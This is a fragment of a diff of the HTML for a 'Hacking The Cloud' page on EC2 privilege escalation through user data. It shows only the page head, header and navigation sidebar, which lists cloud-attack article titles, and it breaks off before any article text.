href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="EC2 Privilege Escalation Through User Data - Hacking The Cloud"><meta property=og:description content="How to escalate privileges on an EC2 instance by abusing user data."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="EC2 Privilege Escalation Through User Data - Hacking The Cloud"><meta property=twitter:description content="How to escalate privileges on an EC2 instance by abusing user data."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to escalate privileges on an EC2 instance by abusing user data."><link href=https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ rel=canonical><link href=../lambda-steal-iam-credentials/ rel=prev><link href=../orphaned_cloudfront_or_dns_takeover_via_s3/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>EC2 Privilege Escalation Through User Data - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="EC2 Privilege Escalation Through User Data - Hacking The Cloud"><meta property=og:description content="How to escalate privileges on an EC2 instance by abusing user data."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="EC2 Privilege Escalation Through User Data - Hacking The Cloud"><meta property=twitter:description content="How to escalate privileges on an EC2 instance by abusing user data."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#ec2modifyinstanceattribute class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#ec2modifyinstanceattribute class=md-nav__link> <span class=md-ellipsis> ec2:ModifyInstanceAttribute </span> </a> </li> <li class=md-nav__item> <a href=#leverage-scripts-in-s3 class=md-nav__link> <span class=md-ellipsis> Leverage scripts in S3 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a 